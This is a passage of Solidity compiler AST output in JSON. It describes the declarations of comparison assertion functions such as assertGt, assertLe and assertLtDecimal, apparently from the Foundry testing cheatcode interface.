message."},"functionSelector":"78611f0e","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51541:15:13","parameters":{"id":14105,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14100,"mutability":"mutable","name":"left","nameLocation":"51564:4:13","nodeType":"VariableDeclaration","scope":14107,"src":"51557:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14099,"name":"int256","nodeType":"ElementaryTypeName","src":"51557:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14102,"mutability":"mutable","name":"right","nameLocation":"51577:5:13","nodeType":"VariableDeclaration","scope":14107,"src":"51570:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14101,"name":"int256","nodeType":"ElementaryTypeName","src":"51570:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14104,"mutability":"mutable","name":"decimals","nameLocation":"51592:8:13","nodeType":"VariableDeclaration","scope":14107,"src":"51584:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14103,"name":"uint256","nodeType":"ElementaryTypeName","src":"51584:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51556:45:13"},"returnParameters":{"id":14106,"nodeType":"ParameterList","parameters":[],"src":"51615:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14119,"nodeType":"FunctionDefinition","src":"51818:107:13","nodes":[],"documentation":{"id":14108,"nodeType":"StructuredDocumentation","src":"51622:191:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"04a5c7ab","implemented":false,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"51827:15:13","parameters":{"id":14117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14110,"mutability":"mutable","name":"left","nameLocation":"51850:4:13","nodeType":"VariableDeclaration","scope":14119,"src":"51843:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14109,"name":"int256","nodeType":"ElementaryTypeName","src":"51843:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14112,"mutability":"mutable","name":"right","nameLocation":"51863:5:13","nodeType":"VariableDeclaration","scope":14119,"src":"51856:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14111,"name":"int256","nodeType":"ElementaryTypeName","src":"51856:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14114,"mutability":"mutable","name":"decimals","nameLocation":"51878:8:13","nodeType":"VariableDeclaration","scope":14119,"src":"51870:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14113,"name":"uint256","nodeType":"ElementaryTypeName","src":"51870:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14116,"mutability":"mutable","name":"error","nameLocation":"51904:5:13","nodeType":"VariableDeclaration","scope":14119,"src":"51888:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14115,"name":"string","nodeType":"ElementaryTypeName","src":"51888:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51842:68:13"},"returnParameters":{"id":14118,"nodeType":"ParameterList","parameters":[],"src":"51924:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14127,"nodeType":"FunctionDefinition","src":"52017:61:13","nodes":[],"documentation":{"id":14120,"nodeType":"StructuredDocumentation","src":"51931:81:13","text":"Compares two `uint256` values. Expects first value to be greater than second."},"functionSelector":"db07fcd2","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52026:8:13","parameters":{"id":14125,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14122,"mutability":"mutable","name":"left","nameLocation":"52043:4:13","nodeType":"VariableDeclaration","scope":14127,"src":"52035:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14121,"name":"uint256","nodeType":"ElementaryTypeName","src":"52035:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14124,"mutability":"mutable","name":"right","nameLocation":"52057:5:13","nodeType":"VariableDeclaration","scope":14127,"src":"52049:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14123,"name":"uint256","nodeType":"ElementaryTypeName","src":"52049:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52034:29:13"},"returnParameters":{"id":14126,"nodeType":"ParameterList","parameters":[],"src":"52077:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14137,"nodeType":"FunctionDefinition","src":"52232:84:13","nodes":[],"documentation":{"id":14128,"nodeType":"StructuredDocumentation","src":"52084:143:13","text":"Compares two `uint256` values. Expects first value to be greater than second.\n Includes error message into revert string on failure."},"functionSelector":"d9a3c4d2","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52241:8:13","parameters":{"id":14135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14130,"mutability":"mutable","name":"left","nameLocation":"52258:4:13","nodeType":"VariableDeclaration","scope":14137,"src":"52250:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14129,"name":"uint256","nodeType":"ElementaryTypeName","src":"52250:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14132,"mutability":"mutable","name":"right","nameLocation":"52272:5:13","nodeType":"VariableDeclaration","scope":14137,"src":"52264:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14131,"name":"uint256","nodeType":"ElementaryTypeName","src":"52264:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14134,"mutability":"mutable","name":"error","nameLocation":"52295:5:13","nodeType":"VariableDeclaration","scope":14137,"src":"52279:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14133,"name":"string","nodeType":"ElementaryTypeName","src":"52279:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52249:52:13"},"returnParameters":{"id":14136,"nodeType":"ParameterList","parameters":[],"src":"52315:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14145,"nodeType":"FunctionDefinition","src":"52407:59:13","nodes":[],"documentation":{"id":14138,"nodeType":"StructuredDocumentation","src":"52322:80:13","text":"Compares two `int256` values. Expects first value to be greater than second."},"functionSelector":"5a362d45","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52416:8:13","parameters":{"id":14143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14140,"mutability":"mutable","name":"left","nameLocation":"52432:4:13","nodeType":"VariableDeclaration","scope":14145,"src":"52425:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14139,"name":"int256","nodeType":"ElementaryTypeName","src":"52425:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14142,"mutability":"mutable","name":"right","nameLocation":"52445:5:13","nodeType":"VariableDeclaration","scope":14145,"src":"52438:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14141,"name":"int256","nodeType":"ElementaryTypeName","src":"52438:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"52424:27:13"},"returnParameters":{"id":14144,"nodeType":"ParameterList","parameters":[],"src":"52465:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14155,"nodeType":"FunctionDefinition","src":"52619:82:13","nodes":[],"documentation":{"id":14146,"nodeType":"StructuredDocumentation","src":"52472:142:13","text":"Compares two `int256` values. Expects first value to be greater than second.\n Includes error message into revert string on failure."},"functionSelector":"f8d33b9b","implemented":false,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"52628:8:13","parameters":{"id":14153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14148,"mutability":"mutable","name":"left","nameLocation":"52644:4:13","nodeType":"VariableDeclaration","scope":14155,"src":"52637:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14147,"name":"int256","nodeType":"ElementaryTypeName","src":"52637:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14150,"mutability":"mutable","name":"right","nameLocation":"52657:5:13","nodeType":"VariableDeclaration","scope":14155,"src":"52650:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14149,"name":"int256","nodeType":"ElementaryTypeName","src":"52650:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14152,"mutability":"mutable","name":"error","nameLocation":"52680:5:13","nodeType":"VariableDeclaration","scope":14155,"src":"52664:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14151,"name":"string","nodeType":"ElementaryTypeName","src":"52664:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52636:50:13"},"returnParameters":{"id":14154,"nodeType":"ParameterList","parameters":[],"src":"52700:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14165,"nodeType":"FunctionDefinition","src":"52859:86:13","nodes":[],"documentation":{"id":14156,"nodeType":"StructuredDocumentation","src":"52707:147:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"c304aab7","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"52868:15:13","parameters":{"id":14163,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14158,"mutability":"mutable","name":"left","nameLocation":"52892:4:13","nodeType":"VariableDeclaration","scope":14165,"src":"52884:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14157,"name":"uint256","nodeType":"ElementaryTypeName","src":"52884:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14160,"mutability":"mutable","name":"right","nameLocation":"52906:5:13","nodeType":"VariableDeclaration","scope":14165,"src":"52898:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14159,"name":"uint256","nodeType":"ElementaryTypeName","src":"52898:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14162,"mutability":"mutable","name":"decimals","nameLocation":"52921:8:13","nodeType":"VariableDeclaration","scope":14165,"src":"52913:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14161,"name":"uint256","nodeType":"ElementaryTypeName","src":"52913:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52883:47:13"},"returnParameters":{"id":14164,"nodeType":"ParameterList","parameters":[],"src":"52944:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14177,"nodeType":"FunctionDefinition","src":"53157:109:13","nodes":[],"documentation":{"id":14166,"nodeType":"StructuredDocumentation","src":"52951:201:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"7fefbbe0","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53166:15:13","parameters":{"id":14175,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14168,"mutability":"mutable","name":"left","nameLocation":"53190:4:13","nodeType":"VariableDeclaration","scope":14177,"src":"53182:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14167,"name":"uint256","nodeType":"ElementaryTypeName","src":"53182:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14170,"mutability":"mutable","name":"right","nameLocation":"53204:5:13","nodeType":"VariableDeclaration","scope":14177,"src":"53196:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14169,"name":"uint256","nodeType":"ElementaryTypeName","src":"53196:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14172,"mutability":"mutable","name":"decimals","nameLocation":"53219:8:13","nodeType":"VariableDeclaration","scope":14177,"src":"53211:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14171,"name":"uint256","nodeType":"ElementaryTypeName","src":"53211:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14174,"mutability":"mutable","name":"error","nameLocation":"53245:5:13","nodeType":"VariableDeclaration","scope":14177,"src":"53229:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14173,"name":"string","nodeType":"ElementaryTypeName","src":"53229:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53181:70:13"},"returnParameters":{"id":14176,"nodeType":"ParameterList","parameters":[],"src":"53265:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14187,"nodeType":"FunctionDefinition","src":"53423:84:13","nodes":[],"documentation":{"id":14178,"nodeType":"StructuredDocumentation","src":"53272:146:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"11d1364a","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53432:15:13","parameters":{"id":14185,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14180,"mutability":"mutable","name":"left","nameLocation":"53455:4:13","nodeType":"VariableDeclaration","scope":14187,"src":"53448:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14179,"name":"int256","nodeType":"ElementaryTypeName","src":"53448:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14182,"mutability":"mutable","name":"right","nameLocation":"53468:5:13","nodeType":"VariableDeclaration","scope":14187,"src":"53461:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14181,"name":"int256","nodeType":"ElementaryTypeName","src":"53461:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14184,"mutability":"mutable","name":"decimals","nameLocation":"53483:8:13","nodeType":"VariableDeclaration","scope":14187,"src":"53475:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14183,"name":"uint256","nodeType":"ElementaryTypeName","src":"53475:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53447:45:13"},"returnParameters":{"id":14186,"nodeType":"ParameterList","parameters":[],"src":"53506:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14199,"nodeType":"FunctionDefinition","src":"53718:107:13","nodes":[],"documentation":{"id":14188,"nodeType":"StructuredDocumentation","src":"53513:200:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"aa5cf788","implemented":false,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"53727:15:13","parameters":{"id":14197,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14190,"mutability":"mutable","name":"left","nameLocation":"53750:4:13","nodeType":"VariableDeclaration","scope":14199,"src":"53743:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14189,"name":"int256","nodeType":"ElementaryTypeName","src":"53743:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14192,"mutability":"mutable","name":"right","nameLocation":"53763:5:13","nodeType":"VariableDeclaration","scope":14199,"src":"53756:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14191,"name":"int256","nodeType":"ElementaryTypeName","src":"53756:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14194,"mutability":"mutable","name":"decimals","nameLocation":"53778:8:13","nodeType":"VariableDeclaration","scope":14199,"src":"53770:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14193,"name":"uint256","nodeType":"ElementaryTypeName","src":"53770:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14196,"mutability":"mutable","name":"error","nameLocation":"53804:5:13","nodeType":"VariableDeclaration","scope":14199,"src":"53788:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14195,"name":"string","nodeType":"ElementaryTypeName","src":"53788:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53742:68:13"},"returnParameters":{"id":14198,"nodeType":"ParameterList","parameters":[],"src":"53824:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14207,"nodeType":"FunctionDefinition","src":"53926:61:13","nodes":[],"documentation":{"id":14200,"nodeType":"StructuredDocumentation","src":"53831:90:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second."},"functionSelector":"8466f415","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"53935:8:13","parameters":{"id":14205,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14202,"mutability":"mutable","name":"left","nameLocation":"53952:4:13","nodeType":"VariableDeclaration","scope":14207,"src":"53944:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14201,"name":"uint256","nodeType":"ElementaryTypeName","src":"53944:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14204,"mutability":"mutable","name":"right","nameLocation":"53966:5:13","nodeType":"VariableDeclaration","scope":14207,"src":"53958:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14203,"name":"uint256","nodeType":"ElementaryTypeName","src":"53958:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53943:29:13"},"returnParameters":{"id":14206,"nodeType":"ParameterList","parameters":[],"src":"53986:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14217,"nodeType":"FunctionDefinition","src":"54150:84:13","nodes":[],"documentation":{"id":14208,"nodeType":"StructuredDocumentation","src":"53993:152:13","text":"Compares two `uint256` values. Expects first value to be less than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"d17d4b0d","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"54159:8:13","parameters":{"id":14215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14210,"mutability":"mutable","name":"left","nameLocation":"54176:4:13","nodeType":"VariableDeclaration","scope":14217,"src":"54168:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14209,"name":"uint256","nodeType":"ElementaryTypeName","src":"54168:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14212,"mutability":"mutable","name":"right","nameLocation":"54190:5:13","nodeType":"VariableDeclaration","scope":14217,"src":"54182:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14211,"name":"uint256","nodeType":"ElementaryTypeName","src":"54182:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14214,"mutability":"mutable","name":"error","nameLocation":"54213:5:13","nodeType":"VariableDeclaration","scope":14217,"src":"54197:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14213,"name":"string","nodeType":"ElementaryTypeName","src":"54197:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54167:52:13"},"returnParameters":{"id":14216,"nodeType":"ParameterList","parameters":[],"src":"54233:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14225,"nodeType":"FunctionDefinition","src":"54334:59:13","nodes":[],"documentation":{"id":14218,"nodeType":"StructuredDocumentation","src":"54240:89:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second."},"functionSelector":"95fd154e","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"54343:8:13","parameters":{"id":14223,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14220,"mutability":"mutable","name":"left","nameLocation":"54359:4:13","nodeType":"VariableDeclaration","scope":14225,"src":"54352:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14219,"name":"int256","nodeType":"ElementaryTypeName","src":"54352:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14222,"mutability":"mutable","name":"right","nameLocation":"54372:5:13","nodeType":"VariableDeclaration","scope":14225,"src":"54365:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14221,"name":"int256","nodeType":"ElementaryTypeName","src":"54365:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"54351:27:13"},"returnParameters":{"id":14224,"nodeType":"ParameterList","parameters":[],"src":"54392:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14235,"nodeType":"FunctionDefinition","src":"54555:82:13","nodes":[],"documentation":{"id":14226,"nodeType":"StructuredDocumentation","src":"54399:151:13","text":"Compares two `int256` values. Expects first value to be less than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"4dfe692c","implemented":false,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"54564:8:13","parameters":{"id":14233,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14228,"mutability":"mutable","name":"left","nameLocation":"54580:4:13","nodeType":"VariableDeclaration","scope":14235,"src":"54573:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14227,"name":"int256","nodeType":"ElementaryTypeName","src":"54573:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14230,"mutability":"mutable","name":"right","nameLocation":"54593:5:13","nodeType":"VariableDeclaration","scope":14235,"src":"54586:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14229,"name":"int256","nodeType":"ElementaryTypeName","src":"54586:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14232,"mutability":"mutable","name":"error","nameLocation":"54616:5:13","nodeType":"VariableDeclaration","scope":14235,"src":"54600:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14231,"name":"string","nodeType":"ElementaryTypeName","src":"54600:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54572:50:13"},"returnParameters":{"id":14234,"nodeType":"ParameterList","parameters":[],"src":"54636:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14245,"nodeType":"FunctionDefinition","src":"54783:86:13","nodes":[],"documentation":{"id":14236,"nodeType":"StructuredDocumentation","src":"54643:135:13","text":"Compares two `uint256` values. Expects first value to be less than second.\n Formats values with decimals in failure message."},"functionSelector":"2077337e","implemented":false,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"54792:15:13","parameters":{"id":14243,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14238,"mutability":"mutable","name":"left","nameLocation":"54816:4:13","nodeType":"VariableDeclaration","scope":14245,"src":"54808:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14237,"name":"uint256","nodeType":"ElementaryTypeName","src":"54808:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14240,"mutability":"mutable","name":"right","nameLocation":"54830:5:13","nodeType":"VariableDeclaration","scope":14245,"src":"54822:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14239,"name":"uint256","nodeType":"ElementaryTypeName","src":"54822:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14242,"mutability":"mutable","name":"decimals","nameLocation":"54845:8:13","nodeType":"VariableDeclaration","scope":14245,"src":"54837:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14241,"name":"uint256","nodeType":"ElementaryTypeName","src":"54837:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"54807:47:13"},"returnParameters":{"id":14244,"nodeType":"ParameterList","parameters":[],"src":"54868:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14257,"nodeType":"FunctionDefinition","src":"55069:109:13","nodes":[],"documentation":{"id":14246,"nodeType":"StructuredDocumentation","src":"54875:189:13","text":"Compares two `uint256` values. Expects first value to be less than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"a972d037","implemented":false,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"55078:15:13","parameters":{"id":14255,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14248,"mutability":"mutable","name":"left","nameLocation":"55102:4:13","nodeType":"VariableDeclaration","scope":14257,"src":"55094:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14247,"name":"uint256","nodeType":"ElementaryTypeName","src":"55094:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14250,"mutability":"mutable","name":"right","nameLocation":"55116:5:13","nodeType":"VariableDeclaration","scope":14257,"src":"55108:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14249,"name":"uint256","nodeType":"ElementaryTypeName","src":"55108:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14252,"mutability":"mutable","name":"decimals","nameLocation":"55131:8:13","nodeType":"VariableDeclaration","scope":14257,"src":"55123:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14251,"name":"uint256","nodeType":"ElementaryTypeName","src":"55123:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14254,"mutability":"mutable","name":"error","nameLocation":"55157:5:13","nodeType":"VariableDeclaration","scope":14257,"src":"55141:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeS